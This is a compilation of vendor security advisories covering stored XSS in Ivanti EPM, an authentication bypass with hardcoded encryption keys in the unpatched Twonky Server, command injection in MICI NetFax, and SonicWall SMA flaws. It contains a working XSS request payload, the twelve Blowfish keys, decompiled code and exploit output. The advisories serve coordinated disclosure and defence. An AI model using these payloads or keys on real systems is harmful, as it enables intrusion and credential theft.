Ivanti EPM provides an ‘incomingdata’ web API that consumes device scan data. An unauthenticated attacker can submit device scan data containing malicious cross-site scripting (“XSS”) payloads. The submitted scan is then automatically processed and unsafely embedded in the web dashboard, facilitating arbitrary client-side JavaScript code execution.

The ‘incomingdata’ web API is configured to execute a CGI binary, postcgi.exe, which writes device scan files to a processing directory outside of the web root. These device scan files are of a simple key=value format. An example malicious device scan request, which is a normal scan request with double quotes and a JavaScript injection in various fields, is depicted below.

POST /incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan HTTP/1.1
Host: 192.168.154.132
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: text/plain
Content-Length: 916

Device ID =INJECT" <script>alert('Administrator account has been hijacked')</script>

Hardware ID =C492A2E9-842A-A444-9FDA-AEE64D1C1252

Scan Type =BAREMETAL

Type =Bare Metal Provision

Status =inj

Last Hardware Scan Date =1411369165

Display Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

Agentless =1

Device Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

Network - NIC Address =111111111118

Network - TCPIP - Host Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

OS - Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

LANDesk Management - Inventory - Scanner - Type =Bare Metal Provision

LANDesk Management - Inventory - Scanner - File Name =barescan.exe

Network - TCPIP - Bound Adapter - (Number:0) - Physical Address =111111111117

After the malicious request is performed, the device scan file is then subsequently parsed and added to the device database. When an administrator views a web dashboard page that displays device information, the XSS payloads are unsafely embedded in the web browser’s DOM, and the attacker gains control of the administrator’s session. Two example web dashboard payload executions are depicted below.

CVE-2025-10573-Ivanti-1.png
Figure 1: An administrator accesses the poisoned  ‘frameset.aspx’ page of the management console

CVE-2025-10573-Ivanti-2.png
Figure 2: An administrator accesses the poisoned ‘db_frameset.aspx’ page of the management console.

Vendor statement 

“Ivanti is dedicated to ensuring the security and integrity of our enterprise software products. We do this by providing security fixes which resolve a vulnerability without impacting the functionality that our customers depend on. We recognize the vital role that security researchers, ethical hackers, and the broader security community play in identifying and reporting vulnerabilities. We appreciate the work that Ryan Emmons, and the entire Rapid7 team, have done in reporting this vulnerability to Ivanti, coordinating disclosure and working with us to help protect our customers.”

Mitigation guidance

Per the vendor, this vulnerability can be remediated by upgrading to Ivanti EPM version EPM 2024 SU4 SR1.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-10573  with an authenticated vulnerability check expected to be available in the December 9, 2025 content release. 

Disclosure timeline

August 15, 2025: Rapid7 contacts Ivanti with vulnerability details.
August 19, 2025: Ivanti confirms receipt and acknowledges that triage has begun.
August 27, 2025: Ivanti states that the vulnerability has been reproduced.
September 9, 2025: Ivanti requests a ~90-day disclosure extension to Nov 11, 2025.
September 16, 2025: Rapid7 accepts the Nov 11, 2025 extension request.
October 31, 2025: Ivanti requests an extension to December 9, due to a patch revision.
November 5, 2025: Rapid7 accepts the new disclosure date of December 9.
December 9, 2025: This disclosure.

CVE-2025-13315, CVE-2025-13316: Critical Twonky Server Authentication Bypass (NOT FIXED)

Post Syndicated from Ryan Emmons original https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed

Overview

Twonky Server version 8.5.2 is susceptible to two vulnerabilities that facilitate administrator authentication bypass on Linux and Windows. An unauthenticated attacker can improperly access a privileged web API endpoint to leak application logs, which contain encrypted administrator credentials (CVE-2025-13315). As a result of the use of hardcoded encryption keys, the attacker can then decrypt these credentials and login as an administrator to Twonky Server (CVE-2025-13316). Exploitation results in the unauthenticated attacker gaining plain text administrator credentials, full administrator access to the Twonky Server instance, and control of all stored media files. These vulnerabilities are tracked as CVE-2025-13315 and CVE-2025-13316.

These vulnerabilities have not been patched. Despite making contact with the vendor, and the vendor confirming receipt of our technical disclosure document, the vendor ceased communications after disclosure. They stated that a patch wouldn’t be possible, even with a disclosure timeline extension, and subsequent follow-up attempts on our part were unsuccessful. As such, the vulnerable version 8.5.2 is the latest available.

Product description

Twonky Server is media server software marketed to both organizations and individuals. It’s generally designed to run on embedded systems, such as NAS devices and routers, for media organization, access, and streaming. At the time of publication, Shodan returns approximately 850 Twonky Server services exposed to the public internet.

Credit

These issues were discovered and reported to Lynx Technology by Ryan Emmons, Staff Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. This work is based on the previous Twonky Server research published by Sven Krewitt.

Vulnerability details

CVE

Description

CVSS

CVE-2025-13315

An unauthenticated remote attacker can bypass web service API authentication controls to leak a log file and read the administrator’s username and encrypted password.

9.3 (Critical)

CVE-2025-13316

The application uses hardcoded encryption keys across installations. An attacker with an encrypted administrator password value can decrypt it into plain text using these hardcoded keys.

8.2 (High)

The testing target was Twonky Server 8.5.2, the latest version available at the time of research. Rapid7 identified two security vulnerabilities as part of this research project, which are outlined in the table above. These vulnerabilities were tested against Twonky Server installed on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. When exploited, these vulnerabilities effectively serve as a patch bypass for the security mitigations introduced in response to the two vulnerabilities disclosed by Risk Based Security in 2021.

CVE-2025-13315

In 2021, the security firm Risk Based Security disclosed an improper API access vulnerability in Twonky Server, for which no CVE is assigned. Their approach was to leak the administrator’s username and obfuscated password via requests to /rpc/get_option?accessuser and /rpc/get_option?accesspwd, which previously did not enforce authentication checks. In the patch, authentication checks were implemented for the /rpc web API. However, some administrator RPC API endpoints, such as log_getfile, are still accessible without authentication via alternative routing.

00461ddf                                if (!check_path(&arg1[2], "/rpc/info_status"))
00461ddf                                {
00461fc8                                    if (check_path(&arg1[2], "/rpc/stop"))
00461fcf                                        goto label_461de5;
00461fcf                                    
00461fe4                                    if (check_path(&arg1[2], "/rpc/stream_active"))
00461fe4                                        goto label_461de5;
00461fe4                                    
00461ff9                                    if (check_path(&arg1[2], "/rpc/byebye"))
00461ff9                                        goto label_461de5;
00461ff9                                    
0046200e                                    if (check_path(&arg1[2], "/rpc/wakeup"))
0046200e                                        goto label_461de5;
0046200e                                    
00462023                                    if (check_path(&arg1[2], "/rpc/get_option?language"))
00462023                                        goto label_461de5;
00462023                                    
00462043                                    if (check_path(&arg1[2], "/rpc/get_option?multiusersupportenabled")
00462043                                            || !(var_480_1 & 1))
[..SNIP..]
004621af                                            *(uint64_t*)((char*)arg1 + 0x828) = "text/plain; charset=utf-8";
004621af                                            
004621c9                                            if (check_path(&arg1[2], "/rpc/log_getfile"))
004621c9                                            {
004622bf                                                char* rax_59 = getlogfile();

The decompiled binary contains the string “/nmc/rpc/”, which is referenced in various functions containing request routing logic within the codebase.

Twonky1.png

Jumping right into dynamic testing, we observed that some RPC requests with the /nmc/rpc prefix succeeded without authentication. 

An example is depicted below, calling the log_getfile web API endpoint with the typical /rpc prefix without authenticating.

Twonky2.png

Requesting the same API endpoint with the /nmc/rpc prefix instead, the log file is returned without authentication.

Twonky3.png

During startup, the application will log the accesspwd encrypted administrator password.

Twonky4.png

It’s also possible to call other authenticated APIs, such as the one to shut down the server, without authentication by leveraging the same /nmc/rpc prefix. When paired with CVE-2025-13316, an unauthenticated attacker can leak the administrator’s username and encrypted password, then decrypt the password to bypass authentication and take over the media server.

CVE-2025-13316

In 2021, the security firm Risk Based Security disclosed a weak password obfuscation vulnerability in Twonky Server, for which no CVE is assigned. It appears that, as a remediation strategy, the Blowfish encryption algorithm was introduced in subsequent versions of Twonky Server. The twonkyserver compiled executable defines twelve encryption keys.

008c7fe0  char const (* blowfish_constants)[0x11] = data_634d38 {"E8ctd4jZwMbaV587"}
008c7fe8  char const (* data_8c7fe8)[0x11] = data_634d49 {"TGFWfWuW3cw28trN"}
008c7ff0  char const (* data_8c7ff0)[0x11] = data_634d5a {"pgqYY2g9atVpTzjY"}
008c7ff8  char const (* data_8c7ff8)[0x11] = data_634d6b {"KX7q4gmQvWtA8878"}
008c8000  char const (* data_8c8000)[0x11] = data_634d7c {"VJjh7ujyT8R5bR39"}
008c8008  char const (* data_8c8008)[0x11] = data_634d8d {"ZMWkaLp9bKyV6tXv"}
008c8010  char const (* data_8c8010)[0x11] = data_634d9e {"KMLvvq6my7uKkpxf"}
008c8018  char const (* data_8c8018)[0x11] = data_634daf {"jwEkNvuwYCjsDzf5"}
008c8020  char const (* data_8c8020)[0x11] = data_634dc0 {"FukE5DhdsbCjuKay"}
008c8028  char const (* data_8c8028)[0x11] = data_634dd1 {"SpKNj6qYQGjuGMdd"}
008c8030  char const (* data_8c8030)[0x11] = data_634de2 {"qLyXuAHPTF2cPGWj"}
008c8038  char const (* data_8c8038)[0x11] = data_634df3 {"rKz7NBhM3vYg85mg"}

When an administrator password is set, the application uses one of these hardcoded keys as a Blowfish encryption key for the administrator password. After performing the encryption process, the encrypted password value is embedded in a string formatted as ||{HEX_INDEX}{HEX_CIPHERTEXT} and subsequently written to the configuration file.

00581260    int32_t enc_passwd(char* arg1, char* arg2, int32_t arg3)
00581260    {
00581260        int32_t result;
00581268        result = !arg3;
00581268        
00581276        if (!(!arg1 | result) && arg2)
00581276        {
00581289            uint64_t maxlen = (uint64_t)arg3;
0058129d            memset(arg2, 0, maxlen);
005812a5            result = strlen(arg1);
005812a5            
005812ac            if (result)
005812ac            {
005812ae                char rax = *(uint8_t*)arg1;
005812ae                
005812b4                // Checking if password is already encrypted(legacy)
005812b4                if (rax == ':')
005812b4                {
00581374                    if (arg1[1] == ':')
0058138c                        return snprintf(arg2, maxlen, "%s", arg1);
005812b4                }
005812b4                else if (rax == '|' && arg1[1] == '|')
0058138c                    return snprintf(arg2, maxlen, "%s", arg1);
0058138c                
005812d1                srand(j_sub_597230());  // seed?
005812fc                uint64_t rdx_4 = (uint64_t)(sub_464c10() % 0xc);
005812fe                char* r14_1 = (&blowfish_constants)[rdx_4];
00581316                void var_1088;
00581316                result = maybe_BF_set_key(&var_1088, r14_1, strlen(r14_1));
00581316                
0058131d                if (!result)
0058131d                {
0058133e                    void* rax_9 = maybe_BF_encrypt(&var_1088, arg1);
0058135b                    // String to write to config file in format ||{INDEX}{CIPHERTEXT}
0058135b                    snprintf(arg2, maxlen, "||%X%s", (uint64_t)rdx_4, rax_9);

Since these keys are static across Twonky Server installations and versions, an attacker with knowledge of the encrypted administrator password can trivially decrypt it to plain text and authenticate to Twonky Server as an administrator. The output of a Metasploit module exploit that pairs CVE-2025-13315 and CVE-2025-13316 for authentication bypass is depicted below.

msf auxiliary(gather/twonky_authbypass_logleak) > run
[*] Running module against 192.168.181.129
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak encrypted password
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
[*] Auxiliary module execution completed

Mitigation guidance

In lieu of any patches or mitigation guidance from the vendor, affected organizations and individuals are advised to restrict Twonky Server traffic to only trusted IPs. Additionally, any administrator credentials configured in Twonky Server should be assumed to be compromised.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-13315 and CVE-2025-13316 with unauthenticated vulnerability checks expected to be available in today’s (November 19) content release.

Disclosure timeline

August 5, 2025: Rapid7 reaches out to a Lynx Technology contact email address.

August 6, 2025: A Lynx Technology representative replies and confirms that the address is the proper path to disclose vulnerabilities.

August 12, 2025: Rapid7 shares the disclosure document with technical details and a proof-of-concept exploit.

August 18, 2025: Lynx Technology confirms that the document has been received and shared with management.

September 3, 2025: Rapid7 follows up and requests a ~60-day disclosure date of October 13.

September 5, 2025: Lynx Technology replies and acknowledges the 60-day timeline as standard practice, but states that resource constraints prevent a patch from being issued on that timeline.

September 9, 2025: Rapid7 replies and offers to accommodate beyond the standard 60-day timeline with a ~90-day timeline, the week of November 17, 2025.

September 30, 2025: Rapid7 follows up in the same ticket thread and reiterates the offer to extend to a 90-day timeline.

October 28, 2025: Rapid7 opens a new ticket and reiterates the offer to extend the timeline.

November 13, 2025: Rapid7 follows up and reiterates the intent to publish materials in November. 

November 14, 2025: Rapid7 follows up and reiterates the upcoming publication, with no response.

November 19, 2025: This disclosure.

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Post Syndicated from Anna Katarina Quinn original https://blog.rapid7.com/2025/05/29/cve-2025-48045-cve-2025-48046-cve-2025-48047-mici-netfax-server-product-vulnerabilities-not-fixed/

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

In the course of a penetration testing engagement, Rapid7 discovered three vulnerabilities in MICI Network Co., Ltd’s NetFax server versions < 3.0.1.0. These issues allowed for an authenticated attack chain resulting in Remote Code Execution (RCE) against the device as the root user. While authentication is necessary for exploitation, default credentials for the application are automatically configured to be provided in cleartext through responses sent to the client, allowing for automated exploitation against vulnerable hosts.

Rapid7 enlisted the help of TWCERT to contact the vendor as an intermediary. On Friday, May 2, 2025, Rapid7 received a notification from TWCERT stating the following: “…they (MICI) have responded that they will not address the vulnerability in this product.”

The first vulnerability, a default credential disclosure, started with HTTP GET requests made during initial access to the server which displayed the default System Administrator credentials in cleartext. The display of these credentials appeared to be present due to implemented functionality for support of the ‘OneIn’ client.

Using the credentials, Rapid7 conducted a review of system configuration settings. A lack of sufficient sanitization was found within multiple parameters in regard to the ‘`’ character. This lack of sanitization could be used to store a system command such as ‘whoami’ within the configuration file.

Rapid7 discovered a function that conducted various system tests to confirm valid configuration such as ‘ping’ commands. This function ingested the data from the stored configuration which led to confirmed Remote Code Execution. By using the ‘mkfifo’ and ‘nc’ binaries present within the system, a reverse shell was obtained as the root user.

In addition, within the system it was noted that while the SMTP password displayed within the user interface had been properly redacted, the request which provided the system configuration contained the password in cleartext.

Product Description

MICI’s Network Fax (NetFax) server is a product suite to facilitate receipt of fax messages to user mailboxes through email traffic. The vendor, MICI, operates from Taiwan. During analysis of internet connected devices, Rapid7 noted 34 systems exposed to the internet. Rapid7 notes that the number of devices on internal networks would likely be much higher.

During review, Rapid7 noted systems running on the same ‘wfaxd’ server architecture used in the application with the name ‘CoFax Server’. A majority of those systems were found to be present within Iran. These devices did not necessarily appear to possess the same vulnerabilities from a passive review.

Credit

The vulnerabilities were discovered by Anna Quinn. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The following vulnerabilities were identified during testing:

  • CVE-2025-48045: Disclosed Default Credentials
  • CVE-2025-48046: Disclosure of Stored Passwords
  • CVE-2025-48047: Command Injection

CVE-2025-48045 – Disclosed Default Credentials – Moderate (6.6)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

CWE-201: Insertion of Sensitive Information Into Sent Data

Upon accessing the web application on port 80 and intermittently afterwards, a GET request is made to ‘/client.php’ which disclosed default administrative user credentials to clients by providing information contained within an automatically configured setup file:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Do not expose user credentials to the client, instead process any occurrences of configuration calls server-side. Present only the necessary information to the client such as the application name and version. Require users to reset the default administrator password upon initial access.

CVE-2025-48046 – Disclosure of Stored Passwords – Moderate (5.3)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-260: Password in Configuration File

Using the credentials, the application was reviewed for security. During this process, the SMTP password configured within the application was found to be properly redacted:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The configuration file, accessed through a GET request to ‘/config.php’ however, provided the cleartext password to the user:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Do not expose user credentials to the client. Redact sensitive information before displaying it to the client.

CVE-2025-48047 – Command Injection – Critical (9.4)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

A server test function which executed commands such as ‘ping’ was located at the /test.php endpoint. This function appeared to ingest data sent to the configuration file such as ‘ETHNAMESERVER’:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The configuration file was changed to include various commands such as a reverse shell using the ‘nc’ binary and ‘whoami’:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

The system test was then run, confirming the ‘`’ characters had not been sanitized. This led to remote code execution via command injection. A reverse shell was also obtained through these methods after the existence of the ‘mkfifo’ and ‘nc’ binaries were confirmed to be present on the machine:

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Remediation: Properly sanitize all input before use in system commands. While many characters were properly redacted, the ‘`’ character was not. Do server-side validation of configuration settings to confirm all parameters contain expected content before accepting the changes. Fields containing IP addresses should be processed to ensure they contain only valid IP addresses.

A working Metasploit module for this attack path for both a fully unauthenticated Remote Code Execution exploit against servers using default credentials and an authenticated RCE exploitation has been created and will be released in upcoming updates. This attack can be performed by any malicious actor with network access to the device.

CVE-2025-48045, CVE-2025-48046, CVE-2025-48047: MICI NetFax Server Product Vulnerabilities (NOT FIXED)

Impact

The vulnerabilities have a range of impacts depending on configuration. Disclosure of default credentials by the application poses a risk to system administrators who do not properly change administrative passwords during setup. Rapid7 determined the application did not appear to either enforce or request a changing of default credentials upon initial login.

Failure to obscure passwords to connect to external services could result in compromise of network service accounts and potential impacts to further resources in the environment.

The command injection vulnerabilities result in administrative access to the underlying system, impacting the confidentiality, availability, and integrity of the server and application both.

Vendor Statement

After multiple attempts to contact the vendor without response, Rapid7 elicited the assistance of TWCERT to facilitate communications with the vendor. After multiple correspondences, the vendor indicated the following, as per TWCERT:

“…they (MICI) have responded that they will not address the vulnerability in this product. They advised users not to expose the product to external networks. They stated that they will no longer respond to inquiries regarding this product.”

Remediation

Vendor has indicated that the vulnerabilities will not be patched and advised users that servers should not be exposed to the internet. However, as the vulnerabilities could also be exploited from an internal network perspective and result in administrative access to the underlying server, Rapid7 additionally recommends only exposing the server to strictly necessary internal networks after reviewing the risk of the device’s presence to the environment. Rapid7 recommends changing default device credentials and reviewing risks related to account credentials provided to the system for service integration purposes.

Rapid7 Customers

InsightVM and Nexpose customers should be able to assess their exposure to CVE-2025-48045, CVE-2025-48046 and CVE-2025-48047 with unauthenticated checks available in the May 28, 2025 content release.

Disclosure Timeline

  • Jan, 2025: Issue discovered by Anna Quinn
  • Thursday, Jan 30, 2025: Initial disclosure to vendor via contact form
  • Tuesday, Feb 25, 2025: Additional outreach to vendor via contact form
  • Tuesday, March 18, 2025: Rapid7 contacts TWCERT to determine proper channels for vendor engagement
  • Thursday, March 20, 2025: TWCERT puts Rapid7 in touch with vendor
  • Monday, March 24, 2025: Rapid7 follows up with vendor
  • Wednesday, March 26, 2025: Rapid7 follows up with vendor
  • Monday, March 31, 2025: Rapid7 requests additional assistance from TWCERT.
  • Tuesday, April 1, 2025: TWCERT requests further information
  • Wednesday, April 2, 2025: TWCERT confirmed receipt of vulnerability disclosure information by vendor and indicated vendor contact would occur after internal review.
  • Tuesday, April 8, 2025: Rapid7 follows up with vendor and TWCERT, requests an update by April 15, 2025.
  • Tuesday, April 22, 2025: Rapid7 requests an update
  • Friday, April 25, 2025: TWCERT relayed message from vendor requesting testing be done on newer versions of application. Rapid7 requests additional version(s) of the affected product from vendor.
  • Tuesday, April 29, 2025: TWCERT provides a version of NetFax Client for testing, however the vulnerabilities exist in NetFax Server, and as such the client could not be used for validation purposes. Rapid7 informs TWCERT, requests server application versions from vendor.
  • Friday, May 2, 2025: TWCERT provides a message from vendor indicating the vendor will not address vulnerabilities. Vendor indicates customers should ensure devices are not exposed externally. Vendor states they will not respond to further inquiries on the matter.
  • Thursday, May 29, 2025: This disclosure.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Post Syndicated from Ryan Emmons original https://blog.rapid7.com/2025/05/07/multiple-vulnerabilities-in-sonicwall-sma-100-series-2025/

Overview

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

In April of 2025, Rapid7 discovered and disclosed three new vulnerabilities affecting SonicWall Secure Mobile Access (“SMA”) 100 series appliances (SMA 200, 210, 400, 410, 500v). These vulnerabilities are tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821. An attacker with access to an SMA SSLVPN user account can chain these vulnerabilities to make a sensitive system directory writable, elevate their privileges to SMA administrator, and write an executable file to a system directory. This chain results in root-level remote code execution. These vulnerabilities have been fixed in version 10.2.1.15-81sv.

Rapid7 would like to thank the SonicWall security team for quickly responding to our disclosure and going above and beyond over a holiday weekend to get a patch out.

Vulnerability table

CVE Description Affected Service CVSS
CVE-2025-32819 An authenticated attacker with user privileges can delete any file on the SMA appliance as root to perform privilege escalation to the administrator account. Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild. HTTP (Port 80), HTTPS (Port 443) 8.8 (High)
CVE-2025-32820 An authenticated attacker with user privileges can inject a path traversal sequence to make any directory on the SMA appliance writable by all users, including the nobody user. Any existing file on the system can also be overwritten with junk contents as root. HTTP (Port 80), HTTPS (Port 443) 8.3 (High)
CVE-2025-32821 An authenticated attacker with administrator privileges can inject shell command arguments to upload a fully controlled file anywhere that the nobody user can write to. HTTP (Port 80), HTTPS (Port 443) 6.7 (Medium)

Credit

These vulnerabilities were discovered by Ryan Emmons, Staff Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s coordinated vulnerability disclosure policy.

Remediation

To remediate CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, SonicWall SMA administrators should update to the latest version, 10.2.1.15-81sv. For additional information, please see SonicWall’s advisory.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821 with an unauthenticated vulnerability check expected to be available in today’s (May 7) content release.

Analysis

The appliance tested was ”SMA 500v for ESXi” running version 10.2.1.14-75sv, the latest available at the time of research.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

CVE-2025-32819

An attacker with access to a low-privilege SMA user account can delete any file as root. This vulnerability appears to be a patch bypass for a previously reported arbitrary file delete vulnerability. That original vulnerability was disclosed by NCC Group in 2021, and a patch was previously released in the 10.2.0.9-41sv and 10.2.1.3-27sv patch cycle. Rapid7 is not aware of any specific CVE assigned to this original vulnerability; the NCC Group blog post states that a CVE was not shared with them, and we didn’t see a clear 1:1 match on the SonicWall PSIRT page.

Based on our testing, the unauthenticated arbitrary file delete vulnerability disclosed by NCC Group was patched by adding an authentication check. However, that authentication check is satisfied with a valid low-privilege session cookie, so exploitation is still viable. An attacker can exploit this vulnerability with low privileges to elevate to SMA administrator. This can be chained with CVE-2025-32820 and CVE-2025-32821 to establish root-level remote code execution on the SMA research target running 10.2.1.14-75sv. Note: Based on known (private) IOCs and Rapid7 incident response investigations, we believe this vulnerability may have been used in the wild.

In /usr/src/EasyAccess/www/conf/httpd.conf, we observe that the /fileshare/sonicfiles web path is mapped to the sonicfiles.py Flask application.

WSGIScriptAliasMatch ^/fileshare/sonicfiles /usr/src/EasyAccess/www/python/sonicfiles/sonicfiles.py
WSGIScriptAliasMatch ^/report    /usr/src/EasyAccess/www/python/sonicfiles/report.py
WSGIScriptAliasMatch ^/threat/__api__/v1 /usr/src/EasyAccess/www/python/authentication_api/threat_api.py

Within sonicfiles.py, we find the function main_handler, which is a main function that enforces authentication checks and dispatches various “RacNumber” SMB operations. At [A], we see an authorization check being performed before the primary API functionality is reachable.

@application.route('/sonicfiles', methods=['GET', 'POST']) 
@application.route('/', methods=['GET', 'POST'])
def main_handler():

    #Get the required config if its not set
    #application.get_config()
    prog = 'fileexplorer'

    '''Alternate method for CSRF

    referrer = request.referrer
    parsed_referrer = urlparse(request.referrer)
    if((referrer is None) or (parsed_referrer.hostname != request.host)):
        print("Referrer something is wrong")
        return HttpErrorCode["NOT_PERMITTED_AUTH"]
    '''

    #set the log level to Debug when don't get the setting from SMA settings.
    application.set_log_level(logging.DEBUG)

    authResult = application.authorizationCheck() # [A]
    if authResult:
        response = make_response(str(HttpErrorCode["NOT_PERMITTED_AUTH"][0])) 
        response.headers['content-type'] = 'text/plain'
        response.headers['Cache-Control'] = 'no-cache'
        logger.info("::SONICFILES:: Authorization check failed {}".format(authResult))
        return response, HttpErrorCode["NOT_PERMITTED_AUTH"][1]

    racNum = request.args.get('RacNumber', RacNumber.RAC_INVALID, int)
    if racNum is RacNumber.RAC_INVALID:
        return 'Invalid invocation', 500 

    smbshare = FileShare(application)
[..SNIP..]

Let’s investigate what application.authorizationCheck is. It’s defined in pythonApi.py:

 def authorizationCheck(self):
        return self.api.authorizationCheck(self.get_connection_id(), request.method, request.args.get('swcctn'))

The self.get_connection_id function is depicted below. It fetches the swap cookie ([B]), which is the primary session cookie, then decodes it as base64 ([C]) and returns it.

  @staticmethod
    def get_connection_id():
        if (SONICFILES_UNIT_TEST_MODE):
            #connection = request.args.get('sessionid', "", string)
            sessionid = request.args.get('sessionid')
            connection = base64.b64decode(sessionid).decode('utf-8')
            print(connection)
            return connection

        swap = request.cookies.get("swap") # [B]
        if swap == None:
            return ""

        connection = base64.b64decode(swap).decode('utf-8') # [C]
        mask_connection = connection.replace(connection[4:-4], (len(connection)-8) * '*') # abcd***...***ABCD
        logger.debug("::SONICFILES:: session {}".format(mask_connection))
        return connection

Since the primary authorizationCheck function is a SWIG function implemented in native code, the decompiled cleaned up C for that is depicted below. It calls sessionGetAndRefresh ([D]), which queries the web application’s SQLite primary database on disk, to determine whether the provided session is an authenticated one. If it’s valid (and if the CSRF token matches when the ‘POST’ method is used), it returns a success code ([E]).

0001b2e0    int32_t authorizationCheck(int32_t sessionId, char* method, int32_t swcctn)

0001b2e0    {
0001b2e0        int32_t currentSessionId = sessionId;
0001b315        int32_t sessionHandle = sessionGetAndRefresh(dbhGet(0), currentSessionId); // [D]
0001b31a        bool match = !sessionHandle;
0001b31a        
0001b31e        if (!sessionHandle)
0001b37b            return -1;
0001b37b        
0001b320        char* methodPointer = method;
0001b324        int32_t compareChars = 5;
0001b329        char const* const compareStr = "POST";
0001b329        
0001b32f        while (compareChars)
0001b32f        {
0001b32f            char mChar = *(uint8_t*)methodPointer;
0001b32f            char const compareChar = *(uint8_t*)compareStr;
0001b32f            match = mChar == compareChar;
0001b32f            methodPointer = &methodPointer[1];
0001b32f            compareStr = &compareStr[1];
0001b32f            compareChars -= 1;
0001b32f            
0001b32f            if (mChar != compareChar)
0001b32f                break;
0001b32f        }
0001b32f        
0001b331        if (match)
0001b331        {
0001b35f            currentSessionId = swcctn;
0001b35f            
0001b36a            if (doCSRFCheckForCgi(sessionHandle, currentSessionId))
0001b36a            {
0001b36f                sessionFree(sessionHandle);
0001b374                return -2;
0001b36a            }
0001b331        }
0001b331        
0001b336        sessionFree(sessionHandle, currentSessionId);
0001b33b        return 0; // [E]
0001b2e0    }

That establishes that any low-privileged user can call RacNumber functions via the sonicfiles API. In 2021, NCC Group outlined how the RAC_DOWNLOAD_TAR function (RacNumber=44) could be exploited with a path traversal for privileged arbitrary file deletion. That download_tar code does not appear to have been modified from what the NCC Group blog post shows, since the “/tmp” directory string is still unsafely concatenated with tainted web parameters ([F]); only the authentication check outlined above in main_handler appears to have been implemented as a fix.

  def download_tar(self, partialCmd):
        arg1 = self.get_decoded_url('Arg1')
        foldername = request.args.get('Arg2')
        timestamp = request.args.get('timestamp')
        list_file_path = None
            
        cmd_list = partialCmd.split()
        cmd_list.append(arg1)
        cmd_list.append(foldername)
        cmd_list.append("stdout")
        #appending verbose

        logger.debug("{} download_tar:: cmd_list: {}, timestamp {}".format(SONICFILES, cmd_list, timestamp))

        if timestamp is not None:
            swcctn = request.args.get('swcctn')
            list_file_path = '/tmp/' + swcctn + '_' + timestamp # [F]
            cmd_list.append(list_file_path)

        self.get_cred(cmd_list,arg1)#Appends cred to the list
        current_time = datetime.datetime.now().time()
        logger.debug("{} Download Start time : {}".format(SONICFILES, current_time.isoformat()))
		
        cmd_bytes_list = str_list_to_uft8_bytes_list(cmd_list)
        downloadsubprocess = subprocess.Popen(cmd_bytes_list,stdout=subprocess.PIPE,shell=False)
[..SNIP..]

Exploitation

We’ll start by creating a user named lowpriv with low user-level SMA privileges. This user account should not have access to any administrative functionality, and it will act as our victim account for exploitation. We’ll login to the SMA web service listening on port 443 and establish that we have access to this standard user account.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

We’ll create two attacker-owned files as root to demonstrate the privileged arbitrary file delete.

Multiple vulnerabilities in SonicWall SMA 100 series (FIXED)

Next, we’ll grab our lowpriv user’s session cookies and use them to perform the malicious file delete web request. The server will return a generic 500 code error response.

